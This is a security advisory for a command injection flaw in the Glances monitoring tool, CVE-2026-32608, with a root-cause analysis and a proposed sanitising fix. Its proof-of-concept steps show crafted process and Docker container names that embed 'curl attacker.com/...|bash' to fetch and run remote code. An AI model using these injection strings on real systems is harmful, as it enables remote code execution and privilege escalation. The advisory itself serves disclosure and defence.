CVE-2026-32608: Glances has a Command Injection via Process Names in Action Command Templates

Summary

The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The securepopen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.

Details

The action execution flow:

1. Admin configures an action in glances.conf (documented feature):

ini [cpu] criticalaction=echo "High CPU on {{name}}" | mail admin@example.com

2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):

python self.actions.run(statname, trigger, command, repeat, mustachedict=mustachedict)

3. The mustachedict contains the full stat dictionary, including user-controllable fields like process name, filesystem mntpoint, container name, etc. (glances/plugins/plugin/model.py:920-943).

4. In glances/actions.py:77-78, the Mustache library renders the template:

python if chevrontag: cmdfull = chevron.render(cmd, mustachedict)

5. The rendered command is passed to securepopen() (glances/actions.py:84):

python ret = securepopen(cmdfull)

The securepopen vulnerability (glances/secure.py:17-30):

python def securepopen(cmd): ret = "" for c in cmd.split("&&"): ret += securepopen(c) return ret

And securepopen() (glances/secure.py:33-77) splits by > and | then calls Popen(subcmdsplit, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.

Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:

python if stdoutredirect is not None: with open(stdoutredirect, "w") as stdoutredirectfile: stdoutredirectfile.write(ret)

PoC

Scenario 1: Command injection via pipe in process name

bash 1. Admin configures processlist action in glances.conf: [processlist] criticalaction=echo "ALERT: {{name}} used {{cpupercent}}% CPU" >> /tmp/alerts.log

2. Attacker creates a process with a crafted name containing a pipe: cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash" "/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &

3. When the process triggers a critical alert, securepopen splits by |: Command 1: echo "ALERT: innocent Command 2: curl attacker.com/evil.sh <-- INJECTED Command 3: bash used 99% CPU" >> /tmp/alerts.log

Scenario 2: Command chain via && in container name

bash 1. Admin configures containers action: [containers] criticalaction=docker stats {{name}} --no-stream

2. Attacker names a Docker container with && injection: docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx

3. securepopen splits by &&: Command 1: docker stats web Command 2: curl attacker.com/rev.sh | bash <-- INJECTED Command 3: echo --no-stream

Impact

- Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).

- Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.

- Arbitrary file write: The > redirect handling in securepopen enables writing arbitrary content to arbitrary file paths.

- Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.

Recommended Fix

Sanitize Mustache-rendered values before securepopen processes them:

python glances/actions.py

def escapeforsecurepopen(value): """Escape characters that securepopen treats as operators.""" if not isinstance(value, str): return value value = value.replace("&&", " ") value = value.replace("|", " ") value = value.replace(">", " ") return value

def run(self, statname, criticality, commands, repeat, mustachedict=None): for cmd in commands: if chevrontag: if mustachedict: safedict = { k: escapeforsecurepopen(v) if isinstance(v, str) else v for k, v in mustachedict.items() } else: safedict = mustachedict cmdfull = chevron.render(cmd, safedict) else: cmdfull = cmd ...